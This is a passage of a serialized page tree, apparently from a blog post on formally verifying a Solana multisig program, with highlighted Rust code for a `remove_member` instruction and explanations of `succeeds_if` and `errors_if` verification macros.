ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[26785],{"type":22,"tag":257,"props":26786,"children":26787},{"__ignoreMap":7},[26788,26811,26839,26854,26899,26906,26918,26934,26946,26972,26980,27009,27016,27048,27055,27062,27136,27144,27204,27236,27243,27294,27301,27309,27402,27491,27545,27552,27597,27642],{"type":22,"tag":264,"props":26789,"children":26790},{"class":1534,"line":1535},[26791,26795,26799,26803,26807],{"type":22,"tag":264,"props":26792,"children":26793},{"style":1539},[26794],{"type":27,"value":24138},{"type":22,"tag":264,"props":26796,"children":26797},{"style":4722},[26798],{"type":27,"value":24143},{"type":22,"tag":264,"props":26800,"children":26801},{"style":1539},[26802],{"type":27,"value":4380},{"type":22,"tag":264,"props":26804,"children":26805},{"style":4722},[26806],{"type":27,"value":26023},{"type":22,"tag":264,"props":26808,"children":26809},{"style":1539},[26810],{"type":27,"value":21565},{"type":22,"tag":264,"props":26812,"children":26813},{"class":1534,"line":1545},[26814,26818,26822,26827,26831,26835],{"type":22,"tag":264,"props":26815,"children":26816},{"style":4293},[26817],{"type":27,"value":14989},{"type":22,"tag":264,"props":26819,"children":26820},{"style":4293},[26821],{"type":27,"value":22458},{"type":22,"tag":264,"props":26823,"children":26824},{"style":4722},[26825],{"type":27,"value":26826}," MsAuth",{"type":22,"tag":264,"props":26828,"children":26829},{"style":1539},[26830],{"type":27,"value":24223},{"type":22,"tag":264,"props":26832,"children":26833},{"style":4722},[26834],{"type":27,"value":24228},{"type":22,"tag":264,"props":26836,"children":26837},{"style":1539},[26838],{"type":27,"value":8574},{"type":22,"tag":264,"props":26840,"children":26841},{"class":1534,"line":1560},[26842,26846,26850],{"type":22,"tag":264,"props":26843,"children":26844},{"style":1539},[26845],{"type":27,"value":24430},{"type":22,"tag":264,"props":26847,"children":26848},{"style":4293},[26849],{"type":27,"value":5035},{"type":22,"tag":264,"props":26851,"children":26852},{"style":1539},[26853],{"type":27,"value":21565},{"type":22,"tag":264,"props":26855,"children":26856},{"class":1534,"line":1569},[26857,26862,26866,26871,26875,26879,26883,26887,26891,26895],{"type":22,"tag":264,"props":26858,"children":26859},{"style":1549},[26860],{"type":27,"value":26861},"    multisig",{"type":22,"tag":264,"props":26863,"children":26864},{"style":4309},[26865],{"type":27,"value":5785},{"type":22,"tag":264,"props":26867,"children":26868},{"style":4722},[26869],{"type":27,"value":26870}," Box",{"type":22,"tag":264,"props":26872,"children":26873},{"style":1539},[26874],{"type":27,"value":7097},{"type":22,"tag":264,"props":26876,"children":26877},{"style":4722},[26878],{"type":27,"value":18448},{"type":22,"tag":264,"props":26880,"children":26881},{"style":1539},[26882],{"type":27,"value":24223},{"type":22,"tag":264,"props":26884,"children":26885},{"style":4722},[26886],{"type":27,"value":24228},{"type":22,"tag":264,"props":26888,"children":26889},{"style":1539},[26890],{"type":27,"value":4380},{"type":22,"tag":264,"props":26892,"children":26893},{"style":4722},[26894],{"type":27,"value":24042},{"type":22,"tag":264,"props":26896,"children":26897},{"style":1539},[26898],{"type":27,"value":8244},{"type":22,"tag":264,"props":26900,"children":26901},{"class":1534,"line":1583},[26902],{"type":22,"tag":264,"props":26903,"children":26904},{"style":1539},[26905],{"type":27,"value":24240},{"type":22,"tag":264,"props":26907,"children":26908},{"class":1534,"line":1603},[26909,26914],{"type":22,"tag":264,"props":26910,"children":26911},{"style":4293},[26912],{"type":27,"value":26913},"        mut",{"type":22,"tag":264,"props":26915,"children":26916},{"style":1539},[26917],{"type":27,"value":4812},{"type":22,"tag":264,"props":26919,"children":26920},{"class":1534,"line":1612},[26921,26925,26929],{"type":22,"tag":264,"props":26922,"children":26923},{"style":1539},[26924],{"type":27,"value":24324},{"type":22,"tag":264,"props":26926,"children":26927},{"style":4309},[26928],{"type":27,"value":429},{"type":22,"tag":264,"props":26930,"children":26931},{"style":1539},[26932],{"type":27,"value":26933}," [\n",{"type":22,"tag":264,"props":26935,"children":26936},{"class":1534,"line":1621},[26937,26942],{"type":22,"tag":264,"props":26938,"children":26939},{"style":1597},[26940],{"type":27,"value":26941},"            b\"squad\"",{"type":22,"tag":264,"props":26943,"children":26944},{"style":1539},[26945],{"type":27,"value":4812},{"type":22,"tag":264,"props":26947,"children":26948},{"class":1534,"line":1629},[26949,26954,26958,26963,26967],{"type":22,"tag":264,"props":26950,"children":26951},{"style":1539},[26952],{"type":27,"value":26953},"            multisig",{"type":22,"tag":264,"props":26955,"children":26956},{"style":4309},[26957],{"type":27,"value":210},{"type":22,"tag":264,"props":26959,"children":26960},{"style":1539},[26961],{"type":27,"value":26962},"create_key",{"type":22,"tag":264,"props":26964,"children":26965},{"style":4309},[26966],{"type":27,"value":210},{"type":22,"tag":264,"props":26968,"children":26969},{"style":1539},[26970],{"type":27,"value":26971},"as_ref(),\n",{"type":22,"tag":264,"props":26973,"children":26974},{"class":1534,"line":1642},[26975],{"type":22,"tag":264,"props":26976,"children":26977},{"style":1597},[26978],{"type":27,"value":26979},"            b\"multisig\"\n",{"type":22,"tag":264,"props":26981,"children":26982},{"class":1534,"line":1660},[26983,26988,26993,26997,27001,27005],{"type":22,"tag":264,"props":26984,"children":26985},{"style":1539},[26986],{"type":27,"value":26987},"        ], ",{"type":22,"tag":264,"props":26989,"children":26990},{"style":1549},[26991],{"type":27,"value":26992},"bump",{"type":22,"tag":264,"props":26994,"children":26995},{"style":4309},[26996],{"type":27,"value":4312},{"type":22,"tag":264,"props":26998,"children":26999},{"style":1549},[27000],{"type":27,"value":24386},{"type":22,"tag":264,"props":27002,"children":27003},{"style":4309},[27004],{"type":27,"value":210},{"type":22,"tag":264,"props":27006,"children":27007},{"style":1539},[27008],{"type":27,"value":24366},{"type":22,"tag":264,"props":27010,"children":27011},{"class":1534,"line":1668},[27012],{"type":22,"tag":264,"props":27013,"children":27014},{"style":1539},[27015],{"type":27,"value":24374},{"type":22,"tag":264,"props":27017,"children":27018},{"class":1534,"line":1677},[27019,27023,27028,27032,27036,27040,27044],{"type":22,"tag":264,"props":27020,"children":27021},{"style":4293},[27022],{"type":27,"value":22150},{"type":22,"tag":264,"props":27024,"children":27025},{"style":1549},[27026],{"type":27,"value":27027}," multisig_auth",{"type":22,"tag":264,"props":27029,"children":27030},{"style":4309},[27031],{"type":27,"value":5785},{"type":22,"tag":264,"props":27033,"children":27034},{"style":4722},[27035],{"type":27,"value":24459},{"type":22,"tag":264,"props":27037,"children":27038},{"style":1539},[27039],{"type":27,"value":24223},{"type":22,"tag":264,"props":27041,"children":27042},{"style":4722},[27043],{"type":27,"value":24228},{"type":22,"tag":264,"props":27045,"children":27046},{"style":1539},[27047],{"type":27,"value":7430},{"type":22,"tag":264,"props":27049,"children":27050},{"class":1534,"line":1686},[27051],{"type":22,"tag":264,"props":27052,"children":27053},{"style":1539},[27054],{"type":27,"value":1692},{"type":22,"tag":264,"props":27056,"children":27057},{"class":1534,"line":4948},[27058],{"type":22,"tag":264,"props":27059,"children":27060},{"emptyLinePlaceholder":17},[27061],{"type":27,"value":4986},{"type":22,"tag":264,"props":27063,"children":27064},{"class":1534,"line":4957},[27065,27069,27073,27078,27082,27086,27090,27094,27098,27103,27107,27112,27116,27120,27124,27128,27132],{"type":22,"tag":264,"props":27066,"children":27067},{"style":4293},[27068],{"type":27,"value":14989},{"type":22,"tag":264,"props":27070,"children":27071},{"style":4293},[27072],{"type":27,"value":14994},{"type":22,"tag":264,"props":27074,"children":27075},{"style":4401},[27076],{"type":27,"value":27077}," remove_member",{"type":22,"tag":264,"props":27079,"children":27080},{"style":1539},[27081],{"type":27,"value":2660},{"type":22,"tag":264,"props":27083,"children":27084},{"style":1549},[27085],{"type":27,"value":21587},{"type":22,"tag":264,"props":27087,"children":27088},{"style":4309},[27089],{"type":27,"value":5785},{"type":22,"tag":264,"props":27091,"children":27092},{"style":4722},[27093],{"type":27,"value":21596},{"type":22,"tag":264,"props":27095,"children":27096},{"style":1539},[27097],{"type":27,"value":7097},{"type":22,"tag":264,"props":27099,"children":27100},{"style":4722},[27101],{"type":27,"value":27102},"MsAuth",{"type":22,"tag":264,"props":27104,"children":27105},{"style":1539},[27106],{"type":27,"value":7923},{"type":22,"tag":264,"props":27108,"children":27109},{"style":1549},[27110],{"type":27,"value":27111},"old_member",{"type":22,"tag":264,"props":27113,"children":27114},{"style":4309},[27115],{"type":27,"value":5785},{"type":22,"tag":264,"props":27117,"children":27118},{"style":4722},[27119],{"type":27,"value":22164},{"type":22,"tag":264,"props":27121,"children":27122},{"style":1539},[27123],{"type":27,"value":4390},{"type":22,"tag":264,"props":27125,"children":27126},{"style":4309},[27127],{"type":27,"value":15056},{"type":22,"tag":264,"props":27129,"children":27130},{"style":4722},[27131],{"type":27,"value":15061},{"type":22,"tag":264,"props":27133,"children":27134},{"style":1539},[27135],{"type":27,"value":21638},{"type":22,"tag":264,"props":27137,"children":27138},{"class":1534,"line":4980},[27139],{"type":22,"tag":264,"props":27140,"children":27141},{"style":4284},[27142],{"type":27,"value":27143},"    // if there is only one key in this multisig, reject the removal\n",{"type":22,"tag":264,"props":27145,"children":27146},{"class":1534,"line":4989},[27147,27151,27156,27160,27164,27168,27172,27176,27180,27184,27188,27192,27196,27200],{"type":22,"tag":264,"props":27148,"children":27149},{"style":4328},[27150],{"type":27,"value":13578},{"type":22,"tag":264,"props":27152,"children":27153},{"style":1549},[27154],{"type":27,"value":27155}," ctx",{"type":22,"tag":264,"props":27157,"children":27158},{"style":4309},[27159],{"type":27,"value":210},{"type":22,"tag":264,"props":27161,"children":27162},{"style":1539},[27163],{"type":27,"value":15974},{"type":22,"tag":264,"props":27165,"children":27166},{"style":4309},[27167],{"type":27,"value":210},{"type":22,"tag":264,"props":27169,"children":27170},{"style":1539},[27171],{"type":27,"value":25117},{"type":22,"tag":264,"props":27173,"children":27174},{"style":4309},[27175],{"type":27,"value":210},{"type":22,"tag":264,"props":27177,"children":27178},{"style":1539},[27179],{"type":27,"value":22290},{"type":22,"tag":264,"props":27181,"children":27182},{"style":4309},[27183],{"type":27,"value":210},{"type":22,"tag":264,"props":27185,"children":27186},{"style":4401},[27187],{"type":27,"value":10436},{"type":22,"tag":264,"props":27189,"children":27190},{"style":1539},[27191],{"type":27,"value":15342},{"type":22,"tag":264,"props":27193,"children":27194},{"style":4309},[27195],{"type":27,"value":9870},{"type":22,"tag":264,"props":27197,"children":27198},{"style":4344},[27199],{"type":27,"value":5817},{"type":22,"tag":264,"props":27201,"children":27202},{"style":1539},[27203],{"type":27,"value":4594},{"type":22,"tag":264,"props":27205,"children":27206},{"class":1534,"line":4998},[27207,27211,27215,27219,27223,27227,27232],{"type":22,"tag":264,"props":27208,"children":27209},{"style":4328},[27210],{"type":27,"value":17044},{"type":22,"tag":264,"props":27212,"children":27213},{"style":4401},[27214],{"type":27,"value":24820},{"type":22,"tag":264,"props":27216,"children":27217},{"style":1539},[27218],{"type":27,"value":2660},{"type":22,"tag":264,"props":27220,"children":27221},{"style":4722},[27222],{"type":27,"value":24829},{"type":22,"tag":264,"props":27224,"children":27225},{"style":4309},[27226],{"type":27,"value":4785},{"type":22,"tag":264,"props":27228,"children":27229},{"style":4722},[27230],{"type":27,"value":27231},"CannotRemoveSoloMember",{"type":22,"tag":264,"props":27233,"children":27234},{"style":1539},[27235],{"type":27,"value":5142},{"type":22,"tag":264,"props":27237,"children":27238},{"class":1534,"line":5067},[27239],{"type":22,"tag":264,"props":27240,"children":27241},{"style":1539},[27242],{"type":27,"value":1674},{"type":22,"tag":264,"props":27244,"children":27245},{"class":1534,"line":5075},[27246,27250,27254,27258,27262,27266,27270,27274,27278,27282,27286,27290],{"type":22,"tag":264,"props":27247,"children":27248},{"style":1549},[27249],{"type":27,"value":21530},{"type":22,"tag":264,"props":27251,"children":27252},{"style":4309},[27253],{"type":27,"value":210},{"type":22,"tag":264,"props":27255,"children":27256},{"style":1539},[27257],{"type":27,"value":15974},{"type":22,"tag":264,"props":27259,"children":27260},{"style":4309},[27261],{"type":27,"value":210},{"type":22,"tag":264,"props":27263,"children":27264},{"style":1539},[27265],{"type":27,"value":25117},{"type":22,"tag":264,"props":27267,"children":27268},{"style":4309},[27269],{"type":27,"value":210},{"type":22,"tag":264,"props":27271,"children":27272},{"style":4401},[27273],{"type":27,"value":26778},{"type":22,"tag":264,"props":27275,"children":27276},{"style":1539},[27277],{"type":27,"value":2660},{"type":22,"tag":264,"props":27279,"children":27280},{"style":1549},[27281],{"type":27,"value":27111},{"type":22,"tag":264,"props":27283,"children":27284},{"style":1539},[27285],{"type":27,"value":2806},{"type":22,"tag":264,"props":27287,"children":27288},{"style":4309},[27289],{"type":27,"value":4458},{"type":22,"tag":264,"props":27291,"children":27292},{"style":1539},[27293],{"type":27,"value":4322},{"type":22,"tag":264,"props":27295,"children":27296},{"class":1534,"line":5105},[27297],{"type":22,"tag":264,"props":27298,"children":27299},{"emptyLinePlaceholder":17},[27300],{"type":27,"value":4986},{"type":22,"tag":264,"props":27302,"children":27303},{"class":1534,"line":5113},[27304],{"type":22,"tag":264,"props":27305,"children":27306},{"style":4284},[27307],{"type":27,"value":27308},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":22,"tag":264,"props":27310,"children":27311},{"class":1534,"line":5145},[27312,27316,27320,27324,27328,27332,27336,27340,27344,27348,27352,27357,27361,27365,27369,27373,27377,27381,27385,27389,27393,27397],{"type":22,"tag":264,"props":27313,"children":27314},{"style":4328},[27315],{"type":27,"value":13578},{"type":22,"tag":264,"props":27317,"children":27318},{"style":1549},[27319],{"type":27,"value":27155},{"type":22,"tag":264,"props":27321,"children":27322},{"style":4309},[27323],{"type":27,"value":210},{"type":22,"tag":264,"props":27325,"children":27326},{"style":1539},[27327],{"type":27,"value":15974},{"type":22,"tag":264,"props":27329,"children":27330},{"style":4309},[27331],{"type":27,"value":210},{"type":22,"tag":264,"props":27333,"children":27334},{"style":1539},[27335],{"type":27,"value":25117},{"type":22,"tag":264,"props":27337,"children":27338},{"style":4309},[27339],{"type":27,"value":210},{"type":22,"tag":264,"props":27341,"children":27342},{"style":1539},[27343],{"type":27,"value":22290},{"type":22,"tag":264,"props":27345,"children":27346},{"style":4309},[27347],{"type":27,"value":210},{"type":22,"tag":264,"props":27349,"children":27350},{"style":4401},[27351],{"type":27,"value":10436},{"type":22,"tag":264,"props":27353,"children":27354},{"style":1539},[27355],{"type":27,"value":27356},"() \u003C ",{"type":22,"tag":264,"props":27358,"children":27359},{"style":4722},[27360],{"type":27,"value":17902},{"type":22,"tag":264,"props":27362,"children":27363},{"style":4309},[27364],{"type":27,"value":4785},{"type":22,"tag":264,"props":27366,"children":27367},{"style":4401},[27368],{"type":27,"value":20779},{"type":22,"tag":264,"props":27370,"children":27371},{"style":1539},[27372],{"type":27,"value":2660},{"type":22,"tag":264,"props":27374,"children":27375},{"style":1549},[27376],{"type":27,"value":21587},{"type":22,"tag":264,"props":27378,"children":27379},{"style":4309},[27380],{"type":27,"value":210},{"type":22,"tag":264,"props":27382,"children":27383},{"style":1539},[27384],{"type":27,"value":15974},{"type":22,"tag":264,"props":27386,"children":27387},{"style":4309},[27388],{"type":27,"value":210},{"type":22,"tag":264,"props":27390,"children":27391},{"style":1539},[27392],{"type":27,"value":25117},{"type":22,"tag":264,"props":27394,"children":27395},{"style":4309},[27396],{"type":27,"value":210},{"type":22,"tag":264,"props":27398,"children":27399},{"style":1539},[27400],{"type":27,"value":27401},"threshold) {\n",{"type":22,"tag":264,"props":27403,"children":27404},{"class":1534,"line":5153},[27405,27409,27414,27418,27422,27426,27430,27434,27438,27442,27446,27450,27454,27458,27462,27466,27470,27475,27479,27483,27487],{"type":22,"tag":264,"props":27406,"children":27407},{"style":4293},[27408],{"type":27,"value":4365},{"type":22,"tag":264,"props":27410,"children":27411},{"style":1549},[27412],{"type":27,"value":27413}," new_threshold",{"type":22,"tag":264,"props":27415,"children":27416},{"style":4309},[27417],{"type":27,"value":5785},{"type":22,"tag":264,"props":27419,"children":27420},{"style":4722},[27421],{"type":27,"value":22337},{"type":22,"tag":264,"props":27423,"children":27424},{"style":4309},[27425],{"type":27,"value":4312},{"type":22,"tag":264,"props":27427,"children":27428},{"style":1549},[27429],{"type":27,"value":27155},{"type":22,"tag":264,"props":27431,"children":27432},{"style":4309},[27433],{"type":27,"value":210},{"type":22,"tag":264,"props":27435,"children":27436},{"style":1539},[27437],{"type":27,"value":15974},{"type":22,"tag":264,"props":27439,"children":27440},{"style":4309},[27441],{"type":27,"value":210},{"type":22,"tag":264,"props":27443,"children":27444},{"style":1539},[27445],{"type":27,"value":25117},{"type":22,"tag":264,"props":27447,"children":27448},{"style":4309},[27449],{"type":27,"value":210},{"type":22,"tag":264,"props":27451,"children":27452},{"style":1539},[27453],{"type":27,"value":22290},{"type":22,"tag":264,"props":27455,"children":27456},{"style":4309},[27457],{"type":27,"value":210},{"type":22,"tag":264,"props":27459,"children":27460},{"style":4401},[27461],{"type":27,"value":10436},{"type":22,"tag":264,"props":27463,"children":27464},{"style":1539},[27465],{"type":27,"value":15178},{"type":22,"tag":264,"props":27467,"children":27468},{"style":4309},[27469],{"type":27,"value":210},{"type":22,"tag":264,"props":27471,"children":27472},{"style":4401},[27473],{"type":27,"value":27474},"try_into",{"type":22,"tag":264,"props":27476,"children":27477},{"style":1539},[27478],{"type":27,"value":15178},{"type":22,"tag":264,"props":27480,"children":27481},{"style":4309},[27482],{"type":27,"value":210},{"type":22,"tag":264,"props":27484,"children":27485},{"style":4401},[27486],{"type":27,"value":4972},{"type":22,"tag":264,"props":27488,"children":27489},{"style":1539},[27490],{"type":27,"value":4977},{"type":22,"tag":264,"props":27492,"children":27493},{"class":1534,"line":5213},[27494,27499,27503,27507,27511,27515,27519,27524,27528,27533,27537,27541],{"type":22,"tag":264,"props":27495,"children":27496},{"style":1549},[27497],{"type":27,"value":27498},"        ctx",{"type":22,"tag":264,"props":27500,"children":27501},{"style":4309},[27502],{"type":27,"value":210},{"type":22,"tag":264,"props":27504,"children":27505},{"style":1539},[27506],{"type":27,"value":15974},{"type":22,"tag":264,"props":27508,"children":27509},{"style":4309},[27510],{"type":27,"value":210},{"type":22,"tag":264,"props":27512,"children":27513},{"style":1539},[27514],{"type":27,"value":25117},{"type":22,"tag":264,"props":27516,"children":27517},{"style":4309},[27518],{"type":27,"value":210},{"type":22,"tag":264,"props":27520,"children":27521},{"style":4401},[27522],{"type":27,"value":27523},"change_threshold",{"type":22,"tag":264,"props":27525,"children":27526},{"style":1539},[27527],{"type":27,"value":2660},{"type":22,"tag":264,"props":27529,"children":27530},{"style":1549},[27531],{"type":27,"value":27532},"new_threshold",{"type":22,"tag":264,"props":27534,"children":27535},{"style":1539},[27536],{"type":27,"value":2806},{"type":22,"tag":264,"props":27538,"children":27539},{"style":4309},[27540],{"type":27,"value":4458},{"type":22,"tag":264,"props":27542,"children":27543},{"style":1539},[27544],{"type":27,"value":4322},{"type":22,"tag":264,"props":27546,"children":27547},{"class":1534,"line":10343},[27548],{"type":22,"tag":264,"props":27549,"children":27550},{"style":1539},[27551],{"type":27,"value":1674},{"type":22,"tag":264,"props":27553,"children":27554},{"class":1534,"line":10361},[27555,27559,27564,27568,27572,27576,27580,27584,27588,27592],{"type":22,"tag":264,"props":27556,"children":27557},{"style":4293},[27558],{"type":27,"value":4296},{"type":22,"tag":264,"props":27560,"children":27561},{"style":1549},[27562],{"type":27,"value":27563}," new_index",{"type":22,"tag":264,"props":27565,"children":27566},{"style":4309},[27567],{"type":27,"value":4312},{"type":22,"tag":264,"props":27569,"children":27570},{"style":1549},[27571],{"type":27,"value":27155},{"type":22,"tag":264,"props":27573,"children":27574},{"style":4309},[27575],{"type":27,"value":210},{"type":22,"tag":264,"props":27577,"children":27578},{"style":1539},[27579],{"type":27,"value":15974},{"type":22,"tag":264,"props":27581,"children":27582},{"style":4309},[27583],{"type":27,"value":210},{"type":22,"tag":264,"props":27585,"children":27586},{"style":1539},[27587],{"type":27,"value":25117},{"type":22,"tag":264,"props":27589,"children":27590},{"style":4309},[27591],{"type":27,"value":210},{"type":22,"tag":264,"props":27593,"children":27594},{"style":1539},[27595],{"type":27,"value":27596},"transaction_index;\n",{"type":22,"tag":264,"props":27598,"children":27599},{"class":1534,"line":10406},[27600,27604,27608,27612,27616,27620,27624,27629,27633,27638],{"type":22,"tag":264,"props":27601,"children":27602},{"style":1549},[27603],{"type":27,"value":21530},{"type":22,"tag":264,"props":27605,"children":27606},{"style":4309},[27607],{"type":27,"value":210},{"type":22,"tag":264,"props":27609,"children":27610},{"style":1539},[27611],{"type":27,"value":15974},{"type":22,"tag":264,"props":27613,"children":27614},{"style":4309},[27615],{"type":27,"value":210},{"type":22,"tag":264,"props":27617,"children":27618},{"style":1539},[27619],{"type":27,"value":25117},{"type":22,"tag":264,"props":27621,"children":27622},{"style":4309},[27623],{"type":27,"value":210},{"type":22,"tag":264,"props":27625,"children":27626},{"style":4401},[27627],{"type":27,"value":27628},"set_change_index",{"type":22,"tag":264,"props":27630,"children":27631},{"style":1539},[27632],{"type":27,"value":2660},{"type":22,"tag":264,"props":27634,"children":27635},{"style":1549},[27636],{"type":27,"value":27637},"new_index",{"type":22,"tag":264,"props":27639,"children":27640},{"style":1539},[27641],{"type":27,"value":4463},{"type":22,"tag":264,"props":27643,"children":27644},{"class":1534,"line":10512},[27645],{"type":22,"tag":264,"props":27646,"children":27647},{"style":1539},[27648],{"type":27,"value":1692},{"type":22,"tag":23,"props":27650,"children":27651},{},[27652,27654,27659],{"type":27,"value":27653},"First let's establish the ",{"type":22,"tag":257,"props":27655,"children":27657},{"className":27656},[],[27658],{"type":27,"value":21461},{"type":27,"value":27660}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":22,"tag":618,"props":27662,"children":27664},{"code":27663,"language":4273,"meta":7,"className":4274,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[27665],{"type":22,"tag":257,"props":27666,"children":27667},{"__ignoreMap":7},[27668,27675,27722,27729],{"type":22,"tag":264,"props":27669,"children":27670},{"class":1534,"line":1535},[27671],{"type":22,"tag":264,"props":27672,"children":27673},{"style":1539},[27674],{"type":27,"value":25424},{"type":22,"tag":264,"props":27676,"children":27677},{"class":1534,"line":1545},[27678,27682,27686,27690,27694,27698,27702,27706,27710,27714,27718],{"type":22,"tag":264,"props":27679,"children":27680},{"style":1539},[27681],{"type":27,"value":21530},{"type":22,"tag":264,"props":27683,"children":27684},{"style":4309},[27685],{"type":27,"value":210},{"type":22,"tag":264,"props":27687,"children":27688},{"style":1539},[27689],{"type":27,"value":15974},{"type":22,"tag":264,"props":27691,"children":27692},{"style":4309},[27693],{"type":27,"value":210},{"type":22,"tag":264,"props":27695,"children":27696},{"style":1539},[27697],{"type":27,"value":25117},{"type":22,"tag":264,"props":27699,"children":27700},{"style":4309},[27701],{"type":27,"value":210},{"type":22,"tag":264,"props":27703,"children":27704},{"style":1539},[27705],{"type":27,"value":22290},{"type":22,"tag":264,"props":27707,"children":27708},{"style":4309},[27709],{"type":27,"value":210},{"type":22,"tag":264,"props":27711,"children":27712},{"style":1539},[27713],{"type":27,"value":22328},{"type":22,"tag":264,"props":27715,"children":27716},{"style":4309},[27717],{"type":27,"value":11760},{"type":22,"tag":264,"props":27719,"children":27720},{"style":1539},[27721],{"type":27,"value":20748},{"type":22,"tag":264,"props":27723,"children":27724},{"class":1534,"line":1560},[27725],{"type":22,"tag":264,"props":27726,"children":27727},{"style":1539},[27728],{"type":27,"value":21565},{"type":22,"tag":264,"props":27730,"children":27731},{"class":1534,"line":1569},[27732,27736,27740,27744,27748,27752,27756],{"type":22,"tag":264,"props":27733,"children":27734},{"style":4293},[27735],{"type":27,"value":21573},{"type":22,"tag":264,"props":27737,"children":27738},{"style":4401},[27739],{"type":27,"value":27077},{"type":22,"tag":264,"props":27741,"children":27742},{"style":1539},[27743],{"type":27,"value":2660},{"type":22,"tag":264,"props":27745,"children":27746},{"style":4309},[27747],{"type":27,"value":10889},{"type":22,"tag":264,"props":27749,"children":27750},{"style":1539},[27751],{"type":27,"value":25301},{"type":22,"tag":264,"props":27753,"children":27754},{"style":4309},[27755],{"type":27,"value":10889},{"type":22,"tag":264,"props":27757,"children":27758},{"style":1539},[27759],{"type":27,"value":10894},{"type":22,"tag":23,"props":27761,"children":27762},{},[27763,27765,27770],{"type":27,"value":27764},"And for now let's remove the invariant on the ",{"type":22,"tag":257,"props":27766,"children":27768},{"className":27767},[],[27769],{"type":27,"value":24042},{"type":27,"value":27771}," account:",{"type":22,"tag":618,"props":27773,"children":27775},{"code":27774,"language":4273,"meta":7,"className":4274,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[27776],{"type":22,"tag":257,"props":27777,"children":27778},{"__ignoreMap":7},[27779,27787],{"type":22,"tag":264,"props":27780,"children":27781},{"class":1534,"line":1535},[27782],{"type":22,"tag":264,"props":27783,"children":27784},{"style":1539},[27785],{"type":27,"value":27786},"#[invariant()]\n",{"type":22,"tag":264,"props":27788,"children":27789},{"class":1534,"line":1545},[27790,27794,27798,27802,27806,27810],{"type":22,"tag":264,"props":27791,"children":27792},{"style":4293},[27793],{"type":27,"value":14989},{"type":22,"tag":264,"props":27795,"children":27796},{"style":4293},[27797],{"type":27,"value":22458},{"type":22,"tag":264,"props":27799,"children":27800},{"style":4722},[27801],{"type":27,"value":22463},{"type":22,"tag":264,"props":27803,"children":27804},{"style":1539},[27805],{"type":27,"value":10884},{"type":22,"tag":264,"props":27807,"children":27808},{"style":4309},[27809],{"type":27,"value":10889},{"type":22,"tag":264,"props":27811,"children":27812},{"style":1539},[27813],{"type":27,"value":10894},{"type":22,"tag":23,"props":27815,"children":27816},{},[27817],{"type":27,"value":27818},"Let's test this!",{"type":22,"tag":23,"props":27820,"children":27821},{},[27822,27824,27829],{"type":27,"value":27823},"Our ",{"type":22,"tag":257,"props":27825,"children":27827},{"className":27826},[],[27828],{"type":27,"value":21461},{"type":27,"value":27830}," harness produces:",{"type":22,"tag":618,"props":27832,"children":27834},{"code":27833},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[27835],{"type":22,"tag":257,"props":27836,"children":27837},{"__ignoreMap":7},[27838],{"type":27,"value":27833},{"type":22,"tag":23,"props":27840,"children":27841},{},[27842],{"type":27,"value":27843},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":22,"tag":23,"props":27845,"children":27846},{},[27847,27849,27854],{"type":27,"value":27848},"However, remember that since ",{"type":22,"tag":257,"props":27850,"children":27852},{"className":27851},[],[27853],{"type":27,"value":21461},{"type":27,"value":27855}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":22,"tag":23,"props":27857,"children":27858},{},[27859,27861,27866,27868,27873,27875,27880],{"type":27,"value":27860},"Suppose we want to be sure that this condition is the ",{"type":22,"tag":1699,"props":27862,"children":27863},{},[27864],{"type":27,"value":27865},"only condition",{"type":27,"value":27867}," in which the function will succeed (i.e. ",{"type":22,"tag":1699,"props":27869,"children":27870},{},[27871],{"type":27,"value":27872},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":27,"value":27874},"). We could attempt to verify the other side of this with an ",{"type":22,"tag":257,"props":27876,"children":27878},{"className":27877},[],[27879],{"type":27,"value":21468},{"type":27,"value":27881}," macro such as:",{"type":22,"tag":618,"props":27883,"children":27885},{"code":27884,"language":4273,"meta":7,"className":4274,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n    ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[27886],{"type":22,"tag":257,"props":27887,"children":27888},{"__ignoreMap":7},[27889,27896,27943,27950,27957,28004,28011],{"type":22,"tag":264,"props":27890,"children":27891},{"class":1534,"line":1535},[27892],{"type":22,"tag":264,"props":27893,"children":27894},{"style":1539},[27895],{"type":27,"value":25424},{"type":22,"tag":264,"props":27897,"children":27898},{"class":1534,"line":1545},[27899,27903,27907,27911,27915,27919,27923,27927,27931,27935,27939],{"type":22,"tag":264,"props":27900,"children":27901},{"style":1539},[27902],{"type":27,"value":21530},{"type":22,"tag":264,"props":27904,"children":27905},{"style":4309},[27906],{"type":27,"value":210},{"type":22,"tag":264,"props":27908,"children":27909},{"style":1539},[27910],{"type":27,"value":15974},{"type":22,"tag":264,"props":27912,"children":27913},{"style":4309},[27914],{"type":27,"value":210},{"type":22,"tag":264,"props":27916,"children":27917},{"style":1539},[27918],{"type":27,"value":25117},{"type":22,"tag":264,"props":27920,"children":27921},{"style":4309},[27922],{"type":27,"value":210},{"type":22,"tag":264,"props":27924,"children":27925},{"style":1539},[27926],{"type":27,"value":22290},{"type":22,"tag":264,"props":27928,"children":27929},{"style":4309},[27930],{"type":27,"value":210},{"type":22,"tag":264,"props":27932,"children":27933},{"style":1539},[27934],{"type":27,"value":22328},{"type":22,"tag":264,"props":27936,"children":27937},{"style":4309},[27938],{"type":27,"value":11760},{"type":22,"tag":264,"props":27940,"children":27941},{"style":1539},[27942],{"type":27,"value":20748},{"type":22,"tag":264,"props":27944,"children":27945},{"class":1534,"line":1560},[27946],{"type":22,"tag":264,"props":27947,"children":27948},{"style":1539},[27949],{"type":27,"value":21565},{"type":22,"tag":264,"props":27951,"children":27952},{"class":1534,"line":1569},[27953],{"type":22,"tag":264,"props":27954,"children":27955},{"style":1539},[27956],{"type":27,"value":21522},{"type":22,"tag":264,"props":27958,"children":27959},{"class":1534,"line":1583},[27960,27964,27968,27972,27976,27980,27984,27988,27992,27996,28000],{"type":22,